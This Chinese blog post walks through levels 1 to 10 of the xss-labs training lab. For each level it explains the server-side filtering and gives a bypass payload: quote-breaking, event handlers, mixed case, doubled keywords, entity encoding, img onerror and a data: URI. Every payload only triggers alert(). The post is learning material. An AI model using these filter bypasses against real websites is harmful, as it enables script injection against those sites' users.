xss-labs(Less1-Less10)

xss的关键是寻找参数未过滤的输出函数

Less 1|

payload:<script>alert('xss')</script>

Less 2|

payload:"><script>alert('xss')</script>//

Less 3|

payload:'onfocus='javascript:alert(/xss/)

         'onclick='javascript:alert(/xss/)

         'onmouseover='javascript:alert(/xss/)

Less 4|

payload:"onfocus="javascript:alert(/xss/)

         "onclick="javascript:alert(/xss/)

         "onmouseover="javascript:alert(/xss/)

Less 5|

payload:"> <a href=javascript:alert('xss')> xss </a>

Less 6|

payload:"> <a HrEf=javascript:alert('xss')> xss </a>

Less 7|

payload:"oonnfocus="javascriscriptpt:alert('xss')

Less 8|

payload:java&#115;cript:alert('xss')

Less 9|

payload:java&#115;cript:alert('xss')//http://www.baidu.com

Less 10|

payload:<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')

 开始:

拿到源码放到phpstudy文件目录

登录localhost/xss/

Less 1

可以看到url中的test存在回显

将test修改为经典弹窗语句

payload:<script>alert('xss')</script>

 

Less 2

有一个搜索框,输入<script>alert('xss')</script>,发现直接回显到页面上,无弹窗

查看源码,发现<>符号被过滤,是由于服务器端用htmlspecialchars()函数把预定义的字符转换为 HTML 实体

但input中的value值没有进行过滤,所以我们可以从这里下手

payload:"><script>alert('xss')</script>//

构造闭合标签,左边的">用来闭合原来的",右边的//注释原先的">

 

Less 3

输入<script>alert('xss')</script>,产生回显,无弹窗

查看源码,发现value中的<>也被htmlspecialchars()函数过滤

此处value属性的闭合标签是单引号闭合

于是我们构造

payload:

'onfocus='javascript:alert(/xss/),输入进行搜索,之后在输入框点击或者Tab键即可触发弹窗

'onclick='javascript:alert(/xss/),输入进行搜索,之后在输入框点击即可触发弹窗

'onmouseover='javascript:alert(/xss/),输入进行搜索,之后将鼠标光标移动到输入框即可触发弹窗

 

Less 4

继续测试<script>alert('xss')</script>

查看源码,发现第一个回显位置<>被htmlspecialchars()函数过滤,第二个回显位置<>被替换为空格

此处value属性的闭合标签是双引号闭合

于是我们构造

payload:

"onfocus="javascript:alert('xss'),输入进行搜索,之后在输入框点击或者Tab键即可触发弹窗

"onclick="javascript:alert('xss'),输入进行搜索,之后在输入框点击即可触发弹窗

"onmouseover="javascript:alert('xss'),输入进行搜索,之后将鼠标光标移动到输入框即可触发弹窗

 

Less 5

继续测试<script>alert('xss')</script>

查看源码,发现第一个回显位置<>被htmlspecialchars()函数过滤,第二个回显位置的第一个script被替换为scr_ipt

输入"οnclick="javascript:alert('xss')进行测试,发现onclick被替换为o_nclick;同样,对"οnmοuseοver="javascript:alert('xss')进行测试,发现onmouseover被替换为o_nmouseover

因此,我们知道服务器端存在str_replace()函数,可以将script替换为scr_ipt,将on替换为o_n

 

因此,本关我们构造超链接

payload:"> <a href=javascript:alert('xss')> xss </a>

发现图中位置出现xss超链接,点击,通关

 

Less 6

继续测试<script>alert('xss')</script>

与第五关情况相同

测试"οnclick="javascript:alert('xss')和"οnmοuseοver="javascript:alert('xss')

与第五关情况相同

测试第五关构造的超链接"> <a href=javascript:alert('xss')> xss </a>,发现href被替换为hr_ef

尝试构造大小写混写

payload:"> <a HrEf=javascript:alert('xss')> xss </a>

 

当然,script采用大小写混写同样可以通过

值得一提的是:通过查看level6代码我们可以发现str_replace()函数将src替换为sr_c,将data替换为da_ta

1|采用字符src匹配,即<img>标签

?name=<img src=111 onerror=alert('xss')>

正常的引用图片就是将待引用图片的地址赋值给src属性。但是在js中如果src属性的值不正常或者无法访问到时就可以触发一个onerror事件来执行js代码

2|采用字符data进行匹配

data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=

这条语句和 javascript:alert("xss") 或者 <script>alert("xss")</script> 作用是一样的

今后如果script,on等关键字被过滤掉了之后,可以用以上语句进行尝试

 

Less 7

继续测试<script>alert('xss')</script>

查看源码,发现第二个显示位中script被删除

测试"οnclick="javascript:alert('xss')和"οnmοuseοver="javascript:alert('xss')

 

试试大小写能不能绕过,"> <a HrEf=jAvAscRiPt:alert('xss')> xss </a> //,失败

尝试双写关键字

payload:"oonnfocus="javascriscriptpt:alert('xss')

 

查看Less7源码,发现依然是str_replace()函数,把关键字都替换为空,但只执行一次,所以可以采用双写关键字绕过

PS:strtolower()函数的作用是将字符串转化为小写

 

Less 8

出现一个友情链接,继续测试<script>alert('xss')</script>

发现第一个显示位<>被替换为HTML字符实体,第二个显示位中script被替换为scr_ipt

测试" οnclick='javascript:alert('xss')和" οnmοuseοver='javascript:alert('xss'),发现"被替换为HTML实体字符

尝试实体化编码script中任意字符即可绕过

payload:java&#115;cript:alert('xss')

 

Less 9

继续测试<script>alert('xss')</script>

发现第一个显示位中的value值没有添加到第二个显示位中的href中

所以我们尝试构造一个合法链接javascript:alert('xss')//http://www.baidu.com,可以看到href中出现了value值,但是又发生了与上一关相同的问题

实体化编码script中的任意字符即可绕过

payload:java&#115;cript:alert('xss')//http://www.baidu.com

 

Less 10

发现搜索框无了

查看源码,发现三个input标签

构造代码 <script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"

发现t_sort的<input>标签可以进行突破

payload:<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值